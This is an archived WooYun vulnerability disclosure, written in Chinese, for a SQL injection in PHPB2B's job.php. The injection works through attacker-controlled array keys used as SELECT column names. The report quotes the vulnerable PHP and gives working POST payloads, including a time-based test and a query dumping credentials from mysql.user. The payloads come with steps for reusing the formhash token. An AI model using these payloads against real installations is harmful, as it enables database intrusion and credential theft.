乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-02-16: 细节已通知厂商并且等待厂商处理中 2015-03-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-04-27: 细节向核心白帽子及相关领域专家公开 2015-05-07: 细节向普通白帽子公开 2015-05-17: 细节向实习白帽子公开 2015-04-02: 细节向公众公开
RT
注入链接:/virtual-office/job.php注入参数:job漏洞代码:(第52行开始)if (!empty($_POST['job']) && $_POST['save']) { $vals = $_POST['job']; pb_submit_check('job'); // 验证post提交的token,可直接使用get访问job.php后在网页源码中搜索formhash获取 $now_job_amount = $job->findCount(null, "created>".$today_start." AND member_id=".$the_memberid); if (isset($_POST['id'])) { $id = $_POST['id']; } if(!empty($_POST['expire_time'])) { $vals['expire_time'] = Times::dateConvert($_POST['expire_time']); } $check_job_update = $g['job_check']; if ($check_job_update=="0") { $vals['status'] = 1; $message_info = 'msg_wait_success'; }else { $vals['status'] = 0; $message_info = 'msg_wait_check'; } $vals['industry_id'] = PbController::getMultiId($_POST['industry']['id']); $vals['area_id'] = PbController::getMultiId($_POST['area']['id']); if(!empty($id)){ $vals['modified'] = $time_stamp; unset($vals['created']); $result = $job->save($vals, "update", $id, null, "member_id=".$the_memberid);$vals = $_POST['job'];从post中获取job数组参数,并将$vals数组传入save函数,save函数中通过以下以下代码构造SQL语句:(libraries/core/model.php)$keys = array_keys($posts);$cols = implode($keys,",");$tbname = (is_null($tbname))? $this->getTable():trim($tbname);$this->table_name = $tbname;if(!empty($id)){ $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";在save函数中$vals数组的键名会被拆分为select语句的列名列表$cols,由于$vals可控导致sql注入,且是数组键名,因此可绕过代码中的注入检测
漏洞测试:首先直接访问:http://127.0.0.1/phpb2b/virtual-office/job.php查看网页源代码获取页面token<input type="hidden" name="formhash" value="8ab96122454d5f50" id="FormHash"> 获取token后就可以进行SQL注入http://127.0.0.1/phpb2b/virtual-office/job.phpPost:job[if((length(user())>61),1,sleep(5))%23]=1&save=1&id=1&formhash=8ab96122454d5f50为了方便调试,在代码里把执行的SQL语句打印出来 Mysql日志: 成功执行延时注入可无视SQL注入检测,执行SQL语句http://127.0.0.1/phpb2b/virtual-office/job.phpPost:job[host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1&id=1&formhash=8ab96122454d5f50 Mysql日志:
获取token后就可以进行SQL注入http://127.0.0.1/phpb2b/virtual-office/job.phpPost:job[if((length(user())>61),1,sleep(5))%23]=1&save=1&id=1&formhash=8ab96122454d5f50为了方便调试,在代码里把执行的SQL语句打印出来
Mysql日志:
成功执行延时注入可无视SQL注入检测,执行SQL语句http://127.0.0.1/phpb2b/virtual-office/job.phpPost:job[host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1&id=1&formhash=8ab96122454d5f50
inject checking on column_name
危害等级:无影响厂商忽略
忽略时间:2015-04-02 10:23
暂无